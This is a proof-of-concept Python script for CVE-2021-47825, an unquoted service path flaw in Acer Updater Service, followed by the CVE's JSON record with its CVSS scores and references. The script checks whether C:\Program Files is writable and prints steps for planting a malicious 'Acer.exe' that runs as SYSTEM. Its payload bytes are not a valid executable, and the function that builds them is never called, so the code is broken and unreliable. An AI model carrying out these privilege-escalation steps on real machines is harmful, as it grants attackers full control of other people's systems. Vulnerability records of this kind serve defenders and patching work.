CVE-2021-47825

# CVE-2021-47825 PoC - Unquoted Service Path Exploitation # Target: Acer Updater Service (C:\Program Files\Acer\Acer Updater\) # This PoC creates a malicious executable in the unquoted path import os import ctypes def create_malicious_executable(): """ Create a malicious executable that will be placed in the unquoted path. The file should be named 'Acer.exe' and placed in 'C:\Program Files\' """ # Malicious code to be executed with SYSTEM privileges malicious_code = b'MZ' # PE header malicious_code += b'\x90' * 58 malicious_code += b'\xe8\x00\x00\x00\x00' # Call instruction malicious_code += b'\x5B' # Pop ebx malicious_code += b'\x83\xC3' + bytes([0x30]) # Add ebx, 0x30 malicious_code += b'\xFF\xE3' # Jmp ebx return malicious_code def check_vulnerability(): """ Check if the Acer Updater Service is vulnerable to unquoted path injection. """ service_path = r'C:\Program Files\Acer\Acer Updater\Acer Updater Service.exe' intermediate_path = r'C:\Program Files\Acer.exe' print(f'[*] Checking vulnerable service path: {service_path}') print(f'[*] Checking for intermediate path: {intermediate_path}') # Check if we can write to intermediate directory try: if os.access(r'C:\Program Files', os.W_OK): print('[+] Vulnerable! Attacker can write to C:\\Program Files') print('[+] Place malicious Acer.exe in this directory to hijack service execution') return True else: print('[-] Not vulnerable or insufficient permissions') return False except Exception as e: print(f'[-] Error: {e}') return False def main(): print('='*60) print('CVE-2021-47825 - Acer Updater Service Unquoted Path PoC') print('='*60) # Check if current process has admin privileges try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() if is_admin: print('[+] Running with administrator privileges') else: print('[-] Not running as administrator (may need for full exploitation)') except: pass check_vulnerability() print('\n[*] Exploitation steps:') print(' 1. Create malicious executable named "Acer.exe"') print(' 2. Place it in C:\\Program Files\\ directory') print(' 3. Wait for service restart or system reboot') print(' 4. Malicious code executes with SYSTEM privileges') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2021-47825", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:07.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Acer Updater Service 1.2.3500.0 contains an unquoted service path vulnerability that allows local users to execute code with elevated system privileges. Attackers can exploit the unquoted path in C:\\Program Files\\Acer\\Acer Updater\\ to inject malicious executables that will run with LocalSystem permissions during service startup."}, {"lang": "es", "value": "Acer Updater Service 1.2.3500.0 contiene una vulnerabilidad de ruta de servicio sin comillas que permite a usuarios locales ejecutar código con privilegios de sistema elevados. Los atacantes pueden explotar la ruta sin comillas en C:\\Program Files\\Acer\\Acer Updater\\ para inyectar ejecutables maliciosos que se ejecutarán con permisos de LocalSystem durante el inicio del servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.acer.com/ac/en/US/content/home", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49890", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/acer-updater-service-updaterserviceexe-unquoted-service-path", "source": "[email protected]"}]}}